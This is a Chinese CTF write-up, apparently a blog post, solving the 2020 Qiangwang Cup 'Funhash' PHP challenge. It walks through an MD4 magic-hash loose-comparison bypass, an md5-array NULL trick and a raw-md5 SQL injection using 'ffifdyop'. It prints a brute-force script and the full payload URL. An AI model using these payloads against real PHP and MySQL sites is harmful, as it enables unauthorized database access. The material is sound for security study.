【2020第四届“强网杯“全国网络安全挑战赛】强网先锋 Funhash

本文详细解析了如何利用MD4、MD5特性和SQL注入原理,通过构造特定payload绕过PHP中的安全检查,包括MD4碰撞、MD5数组特性及SQL注入手法,实现了对level1至level3的逐级破解。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

题目链接:http://39.101.177.96/

<?php
include 'conn.php';
highlight_file("index.php");
//level 1
if ($_GET["hash1"] != hash("md4", $_GET["hash1"]))
{
    die('level 1 failed');
}

//level 2
if($_GET['hash2'] === $_GET['hash3'] || md5($_GET['hash2']) !== md5($_GET['hash3']))
{
    die('level 2 failed');
}

//level 3
$query = "SELECT * FROM flag WHERE password = '" . md5($_GET["hash4"],true) . "'";
$result = $mysqli->query($query);
$row = $result->fetch_assoc(); 
var_dump($row);
$result->free();
$mysqli->close();
?>

level1:

//level 1
if ($_GET["hash1"] != hash("md4", $_GET["hash1"]))
{
    die('level 1 failed');
}

判断条件: hash1的原始值要等于 hash1的md4加密值
就是加密前后相等

MD4碰撞,得
0e251288019
在这里插入图片描述
payload:?hash1=0e251288019

level2:

//level 2
if($_GET['hash2'] === $_GET['hash3'] || md5($_GET['hash2']) !== md5($_GET['hash3']))
{
    die('level 2 failed');
}

绕过的条件有:
变量hash2,hash3强不相等,但是两个变量的md5值要相等

这里用的 === 那么就不能 使用 上面的方法

我们使用php中md5的特性来绕过

md5([1,2]) == md5([3,4]) == NULL

当我们令MD5函数的参数为一个数组时,函数会报错并且返回NULL值。虽然参数是两个不同的数组,但返回值是相同的NULL

我们使用数组

传入 hash2[]=1&hash3=[]=2

payload:/?hash1=0e251288019&hash2[]=1&hash3[]=2

这里有相关知识点总结:

WEB漏洞汇总

level3:

//level 3
$query = "SELECT * FROM flag WHERE password = '" . md5($_GET["hash4"],true) . "'";
$result = $mysqli->query($query);
$row = $result->fetch_assoc(); 
var_dump($row);
$result->free();
$mysqli->close();

是一个 sql注入里面的 md5

平常绕过一个password

SELECT * FROM flag WHERE password = ’ ’ or 1=1’

那么 ’ or 后面要接上一个 为 true 的表达式

SELECT * FROM flag WHERE password = ‘" . md5($_GET[“hash4”],true) . "’

那么目的就明确了 md5($_GET[“hash4”],true) 这里要为 true

参考:
https://www.pianshen.com/article/789754585/

在这里插入图片描述
原始md5可以包含任何字符,并且脚本将它们按原样放入查询中 - 它是一个sql注入版本。
我们要做的是强制使用原始md5包含’或’的密码,以便查询看起来像

SELECT login FROM admins WHERE  password  =  'xxx'or'xxx'
<?php 
for ($i = 0;;) { 
 for ($c = 0; $c < 1000000; $c++, $i++)
  if (stripos(md5($i, true), '\'or\'') !== false)
   echo "\nmd5($i) = " . md5($i, true) . "\n";
 echo ".";
}
?>

给出

content: ffifdyop 

hex: 276f722736c95d99e921722cf9ed621

craw:  'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c

string:  'or'6]!r,b

但是我们思考一下为什么6\xc9]\x99\xe9!r,\xf9\xedb\x1c的布尔值是true呢?

这里是引用
这里引用一篇文章。“a string starting with a 1 is cast as an integer when used as a boolean."
在mysql里面,在用作布尔型判断时,以1开头的字符串会被当做整型数。要注意的是这种情况是必须要有单引号括起来的,比如password=‘xxx’ or ‘1xxxxxxxxx’,那么就相当于password=‘xxx’ or 1 ,也就相当于password=‘xxx’ or true,所以返回值就是true。当然在我后来测试中发现,不只是1开头,只要是数字开头都是可以的。
当然如果只有数字的话,就不需要单引号,比如password=‘xxx’ or 1,那么返回值也是true。(xxx指代任意字符)

payload : /?hash1=0e251288019&hash2[]=1&hash3[]=2&hash4=ffifdyop
在这里插入图片描述
总结:

payload作用
hash1=0e251288019可以让md4过后的字符串和原来字符串在弱比较时表示相等
hash2[]=1&hash3[]=2绕过两个变量的强比较
hash4=ffifdyop使md5过后显示的值表示为'or'
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值